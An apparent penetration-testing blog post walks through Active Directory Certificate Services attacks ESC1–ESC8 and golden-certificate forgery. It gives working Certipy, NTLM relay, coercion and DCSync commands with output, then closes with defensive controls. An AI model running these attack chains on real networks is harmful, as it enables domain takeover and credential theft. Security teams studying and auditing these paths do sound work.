Active Directory Certificate Services is deployed in the majority of enterprise environments we assess — and it is almost never audited. While defenders have spent years hardening Kerberos configurations, tightening ACLs on sensitive AD objects, and deploying EDR to catch credential theft, ADCS sits quietly in the background trusted by every domain-joined machine. In our engagements across financial, healthcare, and critical infrastructure sectors, ADCS misconfigurations have consistently delivered the fastest path to domain admin — often from a standard low-privilege user account obtained in the first hour of testing.
This post covers the full ESC1 through ESC8 vulnerability taxonomy documented by Will Schroeder and Lee Christensen in the landmark "Certified Pre-Owned" research, combined with techniques we use operationally today. We will walk through practical exploitation with Certify and Certipy, show real tool output, and close with the most persistent form of domain compromise available: the golden certificate.
Why ADCS Is So Dangerous
PKI infrastructure occupies a uniquely privileged position in Active Directory. Every domain-joined machine trusts the enterprise CA by design. Certificates issued by that CA are trusted for authentication, code signing, encrypted communication, and — critically for attackers — as an alternative credential mechanism that bypasses many traditional detection controls.
Unlike NTLM hashes or Kerberos tickets, certificates have long validity periods, often one to two years for user certificates and five or more for machine certificates. They do not invalidate when a user changes their password. They persist across account lockouts. They can be used to request Kerberos TGTs directly via PKINIT, which means a certificate for Domain Admin is functionally equivalent to knowing that account's password for the lifetime of the certificate.
The tooling gap makes this worse. Most mature AD security programs run BloodHound regularly, monitor for DCSync attempts, audit AdminSDHolder, and alert on unusual Kerberos ticket requests. Almost none of them have equivalent visibility into the certificate infrastructure. Native Windows event logging for ADCS is minimal by default. There is no built-in equivalent to BloodHound that maps ADCS attack paths for defenders. The asymmetry strongly favours the attacker.
Certipy and Certify changed this landscape for both attackers and defenders when they were released, but adoption of ADCS auditing in defensive programs remains low. In our experience, a clean Certify or Certipy find output is rare. Misconfigurations are the rule, not the exception.
ESC1-ESC4: Template Misconfigurations
The first four escalation paths all originate from incorrectly configured certificate templates. Templates define what a certificate can be used for, who can request one, and — most critically — who controls what goes into the Subject Alternative Name (SAN) field. Getting that last detail wrong is where everything falls apart.
ESC1: Enrollee Supplies the Subject
ESC1 is the most impactful ADCS misconfiguration and the one we find most frequently. When a template is configured with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, the person requesting the certificate can specify any Subject Alternative Name they want — including the UPN of a Domain Admin. Combined with the Client Authentication EKU, this means any user who can enroll in that template can request a certificate that authenticates as any user in the domain.
The conditions for ESC1 are:
- Template has
ENROLLEE_SUPPLIES_SUBJECTenabled - Template includes the Client Authentication, Smart Card Logon, or PKINIT EKU
- Manager approval is not required
- A low-privileged user or group has enrollment rights
Certipy identifies this in seconds during enumeration:
# Certipy enumeration — find vulnerable templates
certipy find -u lowpriv@corp.local -p 'Password1!' -dc-ip 10.10.10.5 -vulnerable -stdout
Certificate Templates
Template Name : CorpUserTemplate
Display Name : Corporate User Certificate
Certificate Authorities : CORP-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True <-- ESC1
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Permissions
Enrollment Permissions
Enrollment Rights : CORP.LOCAL\Domain Users
With a vulnerable template identified, exploitation is a single command:
# Request a certificate as Domain Admin via ESC1
certipy req -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-template CorpUserTemplate \
-upn administrator@corp.local \
-out administrator
# Authenticate with the certificate and retrieve the NTLM hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
Domain admin hash in hand from a standard user account. Total time from enumeration to hash: under two minutes in a real engagement.
ESC2: Any Purpose EKU
ESC2 targets templates where the Extended Key Usage is set to "Any Purpose" or the template has no EKU at all (which also means any purpose). A certificate with any purpose EKU can be used for client authentication even if that was not the intent. The enrollment and subject conditions are the same as ESC1 — any low-privileged user with enrollment rights can abuse this.
The practical difference from ESC1 is that ESC2 certificates cannot directly be used for ESC1-style impersonation unless the template also allows the enrollee to supply the subject. However, ESC2 certificates can be used as enrollment agent certificates to request certificates on behalf of other users, chaining into ESC3.
# Certify equivalent — find ESC2
.\Certify.exe find /vulnerable
[!] Vulnerable Certificates Templates:
CA Name : corp.local\CORP-CA
Template Name : AnyPurposeTemplate
...
msPKI-Certificate-Application-Policy : Any Purpose
pkiextendedkeyusage : Any Purpose
msPKI-RA-Signature : 0
pKIDefaultCSPs : ...
Enrollment Rights
corp\Domain Users : Allow Enroll
ESC3: Enrollment Agent Abuse
ESC3 is a two-stage attack. The first stage requires finding a template that grants the Certificate Request Agent EKU to low-privileged enrollees. The second stage requires finding a second template that permits enrollment agent certificates to enroll on behalf of other users, with no restriction on which agents are permitted.
When both conditions exist, the attack flow is:
- Request an enrollment agent certificate using the first template
- Use that enrollment agent certificate to request a certificate for Domain Admin from the second template
- Authenticate as Domain Admin using the issued certificate
# Stage 1: Get enrollment agent certificate
certipy req -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-template EnrollmentAgentTemplate \
-out agent
# Stage 2: Request certificate on behalf of administrator
certipy req -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-template User \
-on-behalf-of 'corp\administrator' \
-pfx agent.pfx \
-out administrator
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
ESC4: Vulnerable ACLs on Templates
ESC4 does not exploit a template misconfiguration directly — it exploits overly permissive write access to the template object in Active Directory itself. If a low-privileged user has WriteProperty, WriteDacl, or WriteOwner on a certificate template object, they can modify the template to introduce ESC1 or ESC2 conditions and then exploit the result.
This is particularly insidious because the base template may look completely safe in an audit — correct EKUs, manager approval required, subject supplied by CA. But the ACL on the template object allows any authenticated user to overwrite those settings. We have found this misconfiguration on templates that were originally locked down but had their ACLs loosened during a troubleshooting exercise years prior.
# Certipy modifies the template to enable ESC1, exploits, then restores
certipy template -u lowpriv@corp.local -p 'Password1!' \
-template LockedDownTemplate \
-save-old
# Now the template is ESC1-vulnerable — request as administrator
certipy req -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-template LockedDownTemplate \
-upn administrator@corp.local \
-out administrator
# Restore original template settings after exploitation
certipy template -u lowpriv@corp.local -p 'Password1!' \
-template LockedDownTemplate \
-configuration LockedDownTemplate.json
ESC5-ESC8: Infrastructure Weaknesses
ESC5 through ESC8 shift focus from individual template misconfigurations to weaknesses in the CA infrastructure itself. These are generally harder to discover and require more specific conditions, but they are also more broadly applicable — they do not depend on any particular template existing.
ESC5: Vulnerable CA ACLs
ESC5 covers cases where low-privileged users have excessive permissions on the CA object itself in Active Directory, or on the CA server's registry and file system. The most dangerous permissions are ManageCA (also called CA Administrator) and ManageCertificates (also called Certificate Manager).
With ManageCA, an attacker can modify CA settings — including enabling EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6), approving pending certificate requests, adding new templates, and modifying CA ACLs to grant themselves further rights. This is effectively full control of the PKI infrastructure.
# Check CA permissions with Certify
.\Certify.exe cas
[*] Action: Find certificate authorities
Enterprise/Domain CAs:
CA Name : CORP-CA
DNS Hostname : ca.corp.local
...
CA Permissions :
Owner : BUILTIN\Administrators
Access Rights:
ManageCA : CORP\helpdesk-svc <-- ESC5: non-admin has ManageCA
ManageCertificates : CORP\helpdesk-svc
Enroll : CORP\Domain Users
Enroll : CORP\Domain Computers
With ManageCA in hand, we can enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA, turning any template with Client Authentication into an ESC6 target without modifying any individual template.
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
When the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on a CA, certificate requesters can specify a Subject Alternative Name in any request — regardless of what the individual template says. This is a CA-wide setting that overrides template-level restrictions on the SAN field.
The practical impact is that every template on that CA which allows enrollment and includes Client Authentication becomes functionally equivalent to an ESC1-vulnerable template. We regularly find this flag enabled on CAs where administrators set it for a specific use case — typically to support non-Windows PKI clients — and never removed it.
# Detect ESC6 with Certipy
certipy find -u lowpriv@corp.local -p 'Password1!' -dc-ip 10.10.10.5 -vulnerable -stdout
Certificate Authorities
CA Name : CORP-CA
DNS Name : ca.corp.local
...
[!] Vulnerabilities
ESC6 : 'EDITF_ATTRIBUTESUBJECTALTNAME2' set,
request SAN on any template
# Exploit: add SAN to a standard User template request
certipy req -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-template User \
-upn administrator@corp.local \
-out administrator
Note that Microsoft partially addressed ESC6 in May 2022 (KB5014754). After the patch, the KDC performs additional checks on SAN values in certificates. However, organisations that have not applied this patch, or where the patch is in compatibility mode rather than full enforcement mode, remain fully vulnerable.
ESC7: Vulnerable CA HTTP Endpoints
ESC7 targets the CA web enrollment interface — the legacy ASP/ISAPI web application at http://ca-server/certsrv/ that ships with ADCS. If a low-privileged user has ManageCertificates permissions and the web interface is enabled, they can issue pending certificate requests through the web interface that would otherwise require CA Administrator approval.
The attack is more nuanced than ESC1 through ESC6 and typically requires chaining with another technique to get a pending request into the queue. However, in environments where the web interface is exposed and the permissions are wrong, it provides a reliable privilege escalation path.
# Step 1: Attacker requests a certificate that requires manager approval
certipy req -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-template SubCA \
-upn administrator@corp.local \
-out administrator
# Request ID returned as pending — note the Request ID
[*] Request ID is 37
# Step 2: Use ManageCertificates permission to issue the pending request
certipy ca -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-issue-request 37
# Step 3: Retrieve the issued certificate
certipy req -u lowpriv@corp.local -p 'Password1!' \
-ca CORP-CA -target ca.corp.local \
-retrieve 37 \
-out administrator
ESC8: NTLM Relay to ADCS Web Enrollment
ESC8 is the most powerful unauthenticated or network-position attack in the ADCS taxonomy. The ADCS web enrollment endpoint at /certsrv/certfnsh.asp supports NTLM authentication and does not enforce Extended Protection for Authentication (EPA) by default. This makes it a valid NTLM relay target.
The attack chain works as follows:
- Trigger NTLM authentication from a target machine — typically a domain controller — using a coercion technique
- Relay that NTLM authentication to the ADCS web enrollment endpoint
- Enroll for a certificate on behalf of the coerced machine account
- Use the machine certificate to authenticate as that machine and retrieve its NTLM hash via PKINIT's UnPAC-the-hash technique
- With a DC machine account hash, perform a DCSync to retrieve all domain credentials
PetitPotam provides the coercion primitive. In fully patched environments, the MS-EFSRPC coercion vector is blocked, but alternatives including DFSCoerce, PrinterBug, and ShadowCoerce often remain viable depending on the patch level and configuration.
# Terminal 1: Set up NTLM relay targeting ADCS web enrollment
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Terminal 2: Coerce DC authentication with PetitPotam
python3 PetitPotam.py -u lowpriv -p 'Password1!' \
attacker-ip dc.corp.local
# ntlmrelayx output after successful relay:
[*] SMBD-Thread-4: Received connection from 10.10.10.5, attacking target http://ca.corp.local
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://ca.corp.local as CORP/DC$
[*] HTTPD: Relaying CORP\DC$ to http://ca.corp.local
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE!
[*] Base64 certificate of user DC$:
MIIRRQIBAzCCEQ8GCSqGSIb3DQEHAaCCEQAEghD8MIIQQDCCBzkGCSqGSIb3DQ...
# Decode and use the certificate to get DC$ NTLM hash
echo "MIIRRQIBAzCC..." | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip 10.10.10.5
[*] Got hash for 'dc$@corp.local': aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Perform DCSync with the machine account hash
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
'CORP/DC$@10.10.10.5' -just-dc
ESC8 requires no existing credentials in some network positions. It is a particularly severe finding when ADCS web enrollment is Internet-facing or accessible from a DMZ segment, which we encounter more often than it should be possible to encounter.
Golden Certificates: Persistent Domain Compromise
Every escalation technique above produces domain admin access — but it is access that can theoretically be revoked. Certificates can be revoked. Hashes change when passwords reset. The krbtgt hash can be rotated twice to invalidate all outstanding Kerberos tickets. With enough time and a competent incident response team, a compromised domain can be cleaned up.
Golden certificates eliminate that recovery path. A golden certificate is a certificate that we forge ourselves using the CA's private key — without ever requesting it through the normal enrollment process. There is no enrollment event. There is no certificate record in the CA's database. The certificate cannot be revoked because it was never issued. It will work for as long as the CA certificate it chains to remains trusted — which is typically ten or more years from the CA's initial deployment.
Extracting the CA Private Key
The CA private key is stored on the CA server. By default it lives in the machine's certificate store, protected by DPAPI. With SYSTEM-level access to the CA server — achievable once you have domain admin from any of the above techniques — the private key can be exported.
# On the CA server with SYSTEM rights — extract CA certificate and private key
# Using Certipy's CA key extraction
certipy ca -backup -u administrator@corp.local -p 'Password1!' \
-target ca.corp.local \
-ca CORP-CA \
-out corp-ca-backup
[*] Creating new service...
[*] Creating new service...
[*] Trying to connect to endpoint: ncacn_np:ca.corp.local[\PIPE\svcctl]
[*] Bound to ncacn_np:ca.corp.local[\PIPE\svcctl]
[*] Getting CA certificate and private key
[*] Got CA certificate and private key
[*] CA certificate and private key saved to 'CORP-CA.pfx'
If the private key is marked as non-exportable or is stored in an HSM, alternative extraction paths include using SharpDPAPI to decrypt DPAPI-protected key material directly from disk, or using the ICertAdmin2 COM interface via the CA backup APIs — both of which bypass the "non-exportable" flag entirely.
Forging Certificates Offline
With the CA private key and CA certificate in hand, we can forge a certificate for any principal in the domain, offline, with no interaction with the CA server or any domain infrastructure:
# Forge a certificate for Domain Admin using the extracted CA key
certipy forge -ca-pfx CORP-CA.pfx \
-upn administrator@corp.local \
-subject 'CN=Administrator,CN=Users,DC=corp,DC=local' \
-out forged-administrator
[*] Saved forged certificate and private key to 'forged-administrator.pfx'
# Authenticate with the forged certificate
certipy auth -pfx forged-administrator.pfx -domain corp.local -dc-ip 10.10.10.5
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] NT hash for 'administrator': 2b576acbe6bcfda7294d6bd18041b8fe
This forged certificate is completely invisible to the CA. It does not appear in the CA's issued certificates database. It cannot be CRL-checked because it was never recorded. It has no Request ID. The only way to invalidate it is to replace the entire CA certificate — which means re-deploying the PKI infrastructure and re-enrolling every machine and user in the domain. That is typically a multi-week project for even a small organisation.
Why Password Resets and krbtgt Rotation Do Not Help
This is the critical operational distinction that makes golden certificates uniquely dangerous for incident response teams. Consider what happens during a standard domain compromise recovery:
- All privileged account passwords are reset — the forged certificate still works, because it authenticates via PKINIT and is then used to retrieve the current NTLM hash
- krbtgt is rotated twice — the forged certificate still works, because we request a fresh TGT each time we authenticate
- All domain admin accounts are disabled — we forge a certificate for any other account and repeat the process
- EDR detects and blocks Mimikatz — Certipy's authentication path does not touch LSASS
The only complete remediation is CA replacement. Everything else buys time but does not close the door. We document this explicitly in every engagement report where we reach the CA private key, because the remediation timeline has significant business impact that leadership needs to understand before IR begins.
Defensive Guidance
ADCS security requires a dedicated audit programme. The following controls address the highest-impact exposures:
- Run Certipy or Certify in audit mode quarterly. These tools enumerate every vulnerability class described in this post. There is no excuse for not knowing your ADCS exposure. Treat the output the same way you treat a BloodHound run — triage and remediate findings by severity.
- Audit ENROLLEE_SUPPLIES_SUBJECT on every template. This flag should be disabled on any template that allows enrollment by non-privileged users. If a legacy application requires it, scope enrollment rights to the minimum necessary security group and enable manager approval.
- Disable the ADCS web enrollment interface if not required. Most modern ADCS deployments do not need the legacy
/certsrv/interface. If it must remain enabled, configure Extended Protection for Authentication (EPA) to prevent NTLM relay attacks (ESC8 remediation). - Enforce HTTPS on all CA HTTP endpoints. The web enrollment interface and the Certificate Enrollment Policy and Enrollment web services must be HTTPS-only. HTTP endpoints are relay targets.
- Audit ManageCA and ManageCertificates permissions. Only dedicated PKI administrators should hold these rights. Service accounts and helpdesk accounts with these permissions are ESC5 findings.
- Check the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on every CA. This should be disabled. If it is currently enabled, assess whether anything depends on it before removing it, then remove it.
- Enable ADCS audit logging. Enable the Audit Certification Services policy under Advanced Audit Policy Configuration. Event ID 4886 (certificate requested), 4887 (certificate issued), and 4899 (template modified) are the minimum signals required for detection.
- Protect the CA private key with an HSM. Hardware Security Modules prevent key extraction even with SYSTEM access to the CA server. This is the primary control that prevents golden certificate attacks. For organisations with high-value PKI infrastructure, this is not optional.
- Restrict auto-enrollment scope. Review which security groups have auto-enrollment rights. Domain Users having auto-enrollment on a template is often an unintentional misconfiguration from a GPO deployed without understanding the implications.
- Monitor for anomalous certificate requests. Alert when a certificate is requested for a principal that does not match the requesting account's identity. This is the primary detection signal for ESC1 and ESC6 exploitation.